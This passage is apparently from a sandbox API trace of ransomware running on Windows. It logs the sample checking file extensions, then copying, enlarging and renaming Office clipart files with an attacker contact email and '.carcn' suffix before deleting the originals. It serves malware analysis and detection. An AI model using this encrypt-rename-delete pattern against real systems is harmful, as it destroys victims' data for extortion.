lpString2=".WMF") returned -1 [0281.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.696] lstrlenW (lpString=".1cd") returned 4 [0281.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.696] lstrlenW (lpString=".jpg") returned 4 [0281.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.696] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1472) returned 1 [0281.697] CloseHandle (hObject=0x544) returned 1 [0281.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0281.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0281.698] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.698] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.699] GetLastError () returned 0x0 [0281.699] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0281.716] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0281.717] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.717] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.717] SetEndOfFile (hFile=0x4bc) returned 1 [0281.718] CloseHandle (hObject=0x4bc) returned 1 [0281.722] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.722] SetEndOfFile (hFile=0x544) returned 1 [0281.727] CloseHandle (hObject=0x544) returned 1 [0281.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0281.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.732] lstrlenW (lpString=".doc") returned 4 [0281.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.732] lstrlenW (lpString=".docx") returned 5 [0281.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.733] lstrlenW (lpString=".pdf") returned 4 [0281.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.733] lstrlenW (lpString=".xls") returned 4 [0281.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.733] lstrlenW (lpString=".xlsx") returned 5 [0281.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.733] lstrlenW (lpString=".ppt") returned 4 [0281.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.733] lstrlenW (lpString=".zip") returned 4 [0281.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.733] lstrlenW (lpString=".rar") returned 4 [0281.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.733] lstrlenW (lpString=".bz2") returned 4 [0281.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.733] lstrlenW (lpString=".7z") returned 3 [0281.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.733] lstrlenW (lpString=".dbf") returned 4 [0281.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.734] lstrlenW (lpString=".1cd") returned 4 [0281.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0281.734] lstrlenW (lpString=".jpg") returned 4 [0281.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.734] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=896) returned 1 [0281.735] CloseHandle (hObject=0x544) returned 1 [0281.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0281.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0281.736] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.736] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.738] GetLastError () returned 0x0 [0281.738] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x380, lpOverlapped=0x0) returned 1 [0281.861] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x390, lpOverlapped=0x0) returned 1 [0281.863] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.863] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.863] SetEndOfFile (hFile=0x4ac) returned 1 [0281.863] CloseHandle (hObject=0x4ac) returned 1 [0281.863] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.863] SetEndOfFile (hFile=0x544) returned 1 [0281.867] CloseHandle (hObject=0x544) returned 1 [0281.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0281.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0281.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0281.868] lstrlenW (lpString=".doc") returned 4 [0281.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.868] lstrlenW (lpString=".docx") returned 5 [0282.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.314] lstrlenW (lpString=".pdf") returned 4 [0282.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.314] lstrlenW (lpString=".xls") returned 4 [0282.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.314] lstrlenW (lpString=".xlsx") returned 5 [0282.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.314] lstrlenW (lpString=".ppt") returned 4 [0282.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0282.314] lstrlenW (lpString=".zip") returned 4 [0282.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.314] lstrlenW (lpString=".rar") returned 4 [0282.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.314] lstrlenW (lpString=".bz2") returned 4 [0282.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.315] lstrlenW (lpString=".7z") returned 3 [0282.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0282.315] lstrlenW (lpString=".dbf") returned 4 [0282.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0282.315] lstrlenW (lpString=".1cd") returned 4 [0282.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0282.315] lstrlenW (lpString=".jpg") returned 4 [0282.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.316] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=13968) returned 1 [0282.316] CloseHandle (hObject=0x4a8) returned 1 [0282.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0282.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0282.317] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.317] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0282.318] GetLastError () returned 0x0 [0282.319] ReadFile (in: hFile=0x4a8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x3690, lpOverlapped=0x0) returned 1 [0282.369] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x36a0, lpOverlapped=0x0) returned 1 [0282.493] ReadFile (in: hFile=0x4a8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.493] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.494] SetEndOfFile (hFile=0x530) returned 1 [0282.494] CloseHandle (hObject=0x530) returned 1 [0282.494] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.494] SetEndOfFile (hFile=0x4a8) returned 1 [0282.499] CloseHandle (hObject=0x4a8) returned 1 [0282.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0282.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.501] lstrlenW (lpString=".doc") returned 4 [0282.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.501] lstrlenW (lpString=".docx") returned 5 [0282.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.501] lstrlenW (lpString=".pdf") returned 4 [0282.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.501] lstrlenW (lpString=".xls") returned 4 [0282.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.501] lstrlenW (lpString=".xlsx") returned 5 [0282.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.501] lstrlenW (lpString=".ppt") returned 4 [0282.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.502] lstrlenW (lpString=".zip") returned 4 [0282.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.502] lstrlenW (lpString=".rar") returned 4 [0282.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString=".bz2") returned 4 [0282.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.502] lstrlenW (lpString=".7z") returned 3 [0282.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.502] lstrlenW (lpString=".dbf") returned 4 [0282.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.503] lstrlenW (lpString=".1cd") returned 4 [0282.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0282.503] lstrlenW (lpString=".jpg") returned 4 [0282.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.505] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=42704) returned 1 [0282.505] CloseHandle (hObject=0x4a8) returned 1 [0282.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0282.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0282.507] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.507] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0282.508] GetLastError () returned 0x0 [0282.508] ReadFile (in: hFile=0x4a8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0282.579] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0282.581] ReadFile (in: hFile=0x4a8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.582] WriteFile (in: hFile=0x530, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.582] SetEndOfFile (hFile=0x530) returned 1 [0282.591] CloseHandle (hObject=0x530) returned 1 [0282.593] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.593] SetEndOfFile (hFile=0x4a8) returned 1 [0282.614] CloseHandle (hObject=0x4a8) returned 1 [0282.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0283.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.288] lstrlenW (lpString=".doc") returned 4 [0283.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.288] lstrlenW (lpString=".docx") returned 5 [0283.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.288] lstrlenW (lpString=".pdf") returned 4 [0283.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.288] lstrlenW (lpString=".xls") returned 4 [0283.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.289] lstrlenW (lpString=".xlsx") returned 5 [0283.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.289] lstrlenW (lpString=".ppt") returned 4 [0283.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.289] lstrlenW (lpString=".zip") returned 4 [0283.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.289] lstrlenW (lpString=".rar") returned 4 [0283.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.289] lstrlenW (lpString=".bz2") returned 4 [0283.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.289] lstrlenW (lpString=".7z") returned 3 [0283.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.289] lstrlenW (lpString=".dbf") returned 4 [0283.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.289] lstrlenW (lpString=".1cd") returned 4 [0283.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0283.289] lstrlenW (lpString=".jpg") returned 4 [0283.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.291] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3696) returned 1 [0283.291] CloseHandle (hObject=0x438) returned 1 [0283.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0283.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0283.292] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.293] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0283.293] GetLastError () returned 0x0 [0283.293] ReadFile (in: hFile=0x438, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: 